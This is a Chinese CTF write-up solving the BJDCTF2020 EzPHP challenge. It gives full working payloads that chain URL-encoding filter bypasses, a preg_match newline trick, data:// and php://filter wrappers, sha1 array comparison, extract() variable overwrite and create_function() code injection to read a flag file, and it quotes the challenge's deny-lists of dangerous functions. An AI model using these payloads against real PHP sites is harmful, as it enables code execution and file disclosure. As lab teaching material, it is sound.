[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)

题目源码:


highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"
; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! Aqua is the cutest five-year-old child in the world! Isn't it ?

有以下几个地方需要绕过。
关于第一处限制:

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。

关于第二处限制:

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!');

要求preg_match('/^aqua_is_cute$/', $_GET['debu']),即preg_match值匹配第一行,句尾加上换行符%0a就能绕过,绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。
payload:dedu=aqua_is_cute%0a

关于第三处限制:

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}  

要求传过来的参数的值(不包括键)不能是字母。
** $_REQUEST方式接收请求是存在优先级别的,如果同时接受GET和POST的数据,默认情况下POST具有优先权,所以只需要在get的同时post数字即可。**
payload:POST:debu=1&file=1

关于第四处限制:

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
);

这里利用data协议即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
(此题由于你同时要post一个debu=1&file=1,所以不能再用php://input了)
关于第四处限制:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }

这里利用数组[]进行一下绕过就可以了,因为当sha1()的参数为数组,此时就会返回false。
payload:shana[]=1&passwd[]=2
但这里为了绕过第一个限制,需要url编码,即:%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
注意这里有个extract函数,extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。但此处突然出来一个extract函数还是挺突兀的,我们继续往下看。

关于第五处限制:(重点)

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="
); } else { include "flag.php"; $code('', $arg); } ?>

这里最后面的$code('', $arg);好奇怪啊,这是个什么?原来这里利用到了create_function()代码注入。

create_function($args, $code)函数有两个参数$args$code,用于创建一个lambda样式的函数
例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于:

function myfunc($a, $b){
    return $a+$b;
}    

与此同时当第二个参数$code无限制时:
$code=return $a+$b;}eval($_POST['cmd']);//
就会变成:

function myfunc($a, $b){
    return $a+$b;
}
eval($_POST['cmd']);//}  

看到这道题,在上一阶段sha1比较的过程中,extract($_GET["flag"]);这里我们可以进行变量覆盖,从而掌控住 $code('', $arg); 中的arg变量与code变量。
同时根据上面的介绍我们可以通过必和符号来执行自己定义的函数:
&flag[arg]=}a();//&flag[code]=create_function
拼接过后就应该是:function {}a();//} 这样子了。这个a我们是可以随时改成其他的函数的。

但是此时很多函数都被禁用了,文件中包含了flag.php这个文件,利用get_defined_vars()将所有变量与值都进行输出,此时payload就为:flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function,拼到 $code('', $arg); 中即:

create_function('',}var_dump(get_defined_vars());//)

等价于:

function{
}
var_dump(get_defined_vars());//}

注意对限制一中的敏感字符url编码,
完整payload:

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

得到:
[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)_第1张图片
输出出来但没有输出flag,提示我们是在另一个文件里面,rea1fl4g.php,
[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)_第2张图片
此时我们可以利用require,来代替include,利用base64编码绕过对rea1fl4g.php中.的过滤,利用require()将rea1fl4g.php文件包含进来,然后利用get_defined_vars()函数返回由所有已定义变量,从而得到flag。(也可以用~取反绕过)
payload:flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function
(cmVhMWZsNGcucGhw:rea1fl4g.php)注意对base64_decode进行url编码
完整payload:

1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(base64_de%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)_第3张图片
flag竟然是个假的,tmd!!!
我们可以用php://filter直接把rea1fl4g.php的源码读出来:
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php),base64加密解密:
require(base64_de%63%6f%64%65(cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPXJlYTFmbDRnLnBocA==))
发现失败,
[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)_第4张图片
原来,在最后的限制中,对$code中的source做了限制,我们虽然做了base64加密,但到了代码中base64_decode早就执行了,$code已经被解密,变回了php://filter/read=convert.base64-encode/resource=rea1fl4g.php,自然绕不过限制,所以我们这里用~取反绕过,即:
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

得到base64加密后的rea1fl4g.php内容:
[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)_第5张图片
解密后,得到flag:
[BJDCTF2020]EzPHP(绕过$_REQUEST和QUERY_STRING和Create_Function()代码注入)_第6张图片

你可能感兴趣的:(CTF-Web)